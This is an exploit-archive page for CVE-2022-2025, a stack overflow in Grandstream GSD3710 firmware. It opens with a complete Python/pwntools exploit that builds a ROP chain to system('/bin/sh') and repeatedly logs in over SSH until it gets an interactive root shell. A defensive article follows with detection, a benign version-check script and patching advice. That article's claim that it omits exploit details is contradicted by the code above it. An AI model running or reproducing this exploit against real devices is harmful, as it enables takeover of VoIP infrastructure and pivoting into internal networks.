Grandstream GSD3710 1.0.11.13 - Stack Overflow

Exploit Author: Pepelux Analysis Author: www.bubbleslearn.ir Category: Remote Language: Python Published Date: 2025-06-05

#!/usr/bin/env python3

# Exploit Title:  Grandstream GSD3710 1.0.11.13 - Stack Overflow 
# Date: 2025-05-29
# Exploit Author: Pepelux
# Vendor Homepage: https://www.grandstream.com/
# Version: Grandstream GSD3710 - firmware:1.0.11.13 and lower
# Tested on: Linux and MacOS
# CVE: CVE-2022-2025

"""
Author: Jose Luis Verdeguer (@pepeluxx)

Required: Pwntools

Example:

$ python 3 CVE-2022-2025.py -i DEVICE_IP -u USER -p PASSWORD
"""


from struct import pack
import sys
from time import sleep
import argparse
from pwn import *


def get_args():
    parser = argparse.ArgumentParser(
        formatter_class=lambda prog: argparse.RawDescriptionHelpFormatter(
            prog, max_help_position=50))

    # Add arguments
    parser.add_argument('-i', '--ip', type=str, required=True,
                        help='device IP address', dest="ip")
    parser.add_argument('-u', '--user', type=str, required=True,
                        help='username', dest="user")
    parser.add_argument('-p', '--pass', type=str, required=True,
                        help='password', dest="pwd")

    # Array for all arguments passed to script
    args = parser.parse_args()

    try:
        ip = args.ip
        user = args.user
        pwd = args.pwd

        return ip, user, pwd
    except ValueError:
        exit()
        
def check_badchars(payload):
    for i in range(5, len(payload)):
        if payload[i] in [0xd, 0xa, 0x3b, 0x7c, 0x20]:
            log.warn("Badchar %s detected at %#x" % (hex(payload[i]), i))
            return True
    return False


def main():
    ip, user, pwd = get_args()

    libc_base = 0x76bb8000
    gadget = libc_base + 0x5952C  # 0x0005952c: pop {r0, r4, pc};
    bin_sh = libc_base + 0xCEA9C  # /bin/sh
    system = libc_base + 0x2C7FD  # 0x0002c7fd  # system@libc
    exit = libc_base + 0x2660C

    print("[*] Libc base: %#x" % libc_base)
    print("[*] ROP gadget: %#x" % gadget)
    print("[*] /bin/sh: %#x" % bin_sh)
    print("[*] system: %#x" % system)
    print("[*] exit: %#x\n" % exit)

    padding = b"A" * 320

    payload = b'ping '
    payload += padding
    payload += p32(gadget)
    payload += p32(bin_sh)
    payload += b"AAAA"
    payload += p32(system)
    payload += p32(exit)

    if check_badchars(payload):
        sys.exit(0)

    count = 1

    while True:
        print('Try: %d' % count)
        s = ssh(user, ip, 22, pwd)
        p = s.shell(tty=False)
        print(p.readuntil(b"GDS3710> "))
        p.sendline(payload)
        p.sendline(b"id")
        sleep(1)
        data = p.read()
        if str(data).find('root') > -1:
            print('PWNED!')
            p.interactive()
            s.close()
            sys.exit()
        s.close()
        count += 1

if __name__ == '__main__':
    main()

Grandstream GSD3710 (firmware ≤ 1.0.11.13) — Stack Overflow Vulnerability (CVE-2022-2025): Analysis, Detection, and Mitigation

This article provides a technical, non-actionable overview of the stack overflow vulnerability affecting Grandstream GSD3710 devices (documented as CVE-2022-2025), explains its risks and likely exploitation vectors at a high level, and describes practical detection and mitigation guidance for defenders and administrators. The goal is to help organizations assess exposure and remediate systems without enabling misuse.

Executive summary

A stack-based buffer overflow in the Grandstream GSD3710 firmware (versions up to and including 1.0.11.13) can lead to remote code execution when an attacker is able to interact with a vulnerable network-facing management or diagnostic interface. The vulnerability allows an attacker to overwrite return addresses or control flow under certain circumstances, potentially giving root-level control of the device.

Who should care

Operators of Grandstream GSD3710 devices in enterprise, SMB, or carrier networks
Security teams responsible for IoT / VoIP / embedded device inventories
Network defenders monitoring authentication and device management channels

High-level technical description (non-actionable)

At a conceptual level, the flaw arises when a firmware component that processes an incoming management/diagnostic command reads more data into a fixed-size stack buffer than the buffer can hold. This classical stack overflow allows crafted input to overwrite saved registers or the return address on the stack. If exploited, the attacker can control program execution flow and invoke arbitrary commands. The vulnerability affects the command path exposed by the device’s management interface and is present in certain firmware revisions.

Attack vector and prerequisites (summarized)

Network access to the device’s management/diagnostic interface (SSH, telnet, or a service that accepts text commands)
Authentication may be required for some interfaces; however, depending on device configuration, some management interfaces could be exposed or weakly protected
Crafted input that overflows a stack buffer in the vulnerable command processing routine

Impact

Remote code execution on the device (potentially as root)
Device compromise: attacker can change configuration, intercept calls, pivot into the internal network
Service disruption or persistent backdoors on VoIP infrastructure

Detection and monitoring guidance

Because sharing exploit code would be unsafe, the following are defensive detection techniques and indicators of compromise (IOCs) that administrators and security teams can apply:

Inventory checks: identify all GSD3710 devices and record firmware versions. Prioritize updating devices with affected versions.
Management access logs: search for unusual or persistent SSH/telnet sessions to devices outside normal maintenance windows.
Command patterns: look for anomalous or long command strings sent to device management interfaces (e.g., single very long arguments where normal commands are short).
Process and memory anomalies: on compromised devices, watch for unexpected processes, reverse shells, or persistent scheduled tasks/services.
Network indicators: unusual outbound connections from the device (especially to attacker-controlled IPs) or unexpected DNS/TCP/UDP traffic.
Configuration drift: unauthorized changes to SIP settings, routing, or admin account passwords.

Safe verification: checking firmware and configuration

The safest and recommended step is verifying the firmware version and installing vendor-supplied updates. Use read-only or standard management queries rather than any attempts to trigger or probe the vulnerable behavior.

Example: a non-destructive SSH-based check that connects to the device and requests a version or banner string. This is for verification only — it does not attempt to exploit or overwrite buffers.

import paramiko
import sys

def get_version(host, username, password, timeout=10):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(host, username=username, password=password, timeout=timeout, look_for_keys=False)
        stdin, stdout, stderr = client.exec_command('cat /etc/version 2>/dev/null || uname -a || echo "no-version-info"')
        version = stdout.read().decode(errors='ignore').strip()
        client.close()
        return version
    except Exception as e:
        return f"error: {e}"

if __name__ == '__main__':
    if len(sys.argv) != 4:
        print("Usage: check_version.py   ")
        sys.exit(1)
    print(get_version(sys.argv[1], sys.argv[2], sys.argv[3]))

Explanation: This simple script uses paramiko to perform a normal SSH login and run a benign command to retrieve a version string. It does not inject abnormal input or attempt to exercise the vulnerable code paths. Replace the command with the appropriate show/version command for your device model if different.

Remediation and mitigation

Follow a layered approach combining immediate mitigations and long-term fixes.

Patch: Apply the vendor-supplied firmware update that addresses the vulnerability. Check Grandstream’s official security advisories and firmware downloads for the fixed release. If a specific fixed version is available, upgrade all affected devices to that version as soon as possible.
Network isolation: Restrict management access to trusted networks only. Use management VLANs, access control lists (ACLs), and firewall rules to limit SSH/telnet/HTTP(S) to known administration hosts.
Strong authentication: Disable default credentials and use strong unique passwords or key-based SSH authentication. Where possible, enforce multi-factor authentication for management consoles.
Disable unused services: Turn off telnet or any unused diagnostic interfaces. Disable remote management over WAN unless absolutely required and secured.
Monitoring and alerting: Add alerts for failed and successful SSH logins from unfamiliar sources, unusual command usage, and changes to device firmware/configuration.
Segmentation: Place telephony/VoIP devices on segmented networks with limited access to enterprise-critical infrastructure.
Backups and recovery: Maintain known-good configurations and a recovery plan. Test backups and reimaging procedures to recover quickly from compromises.

Hardening checklist

Action	Recommended
Firmware updates	Apply vendor fixes immediately
Restrict management interfaces	Limit to admin subnets and use ACLs
Disable telnet / insecure protocols	Use SSH with keys
Use strong credentials	Rotate and enforce complexity; disable default accounts
Network segmentation	Separate voice and data networks
Monitoring	Log and alert on anomalous access

Incident response considerations

If you suspect compromise, isolate the device and preserve volatile logs and memory where possible.
Collect network captures for the time period around suspected exploitation to reconstruct attacker activity.
Reset credentials and reimage devices from vendor images after re-installing patched firmware.
Coordinate disclosure and remediation with your vendor representative and affected partners.

Responsible disclosure and vendor resources

Always coordinate with the vendor for patches and advisory notices. Grandstream maintains product support and firmware distribution channels; consult the vendor’s security advisories and follow their recommended upgrade path. If you find a previously unknown issue, follow responsible disclosure best practices: avoid public release of exploit details until a patch is available and affected parties are notified.

Conclusion

The stack overflow in Grandstream GSD3710 firmware represents a high-impact risk because it can enable remote code execution on network infrastructure devices. Administrators should prioritize identifying affected devices, applying vendor patches, and implementing network-level mitigations and monitoring. The defensive guidance above focuses on detection, safe verification, and remediation without providing exploit techniques or payload details.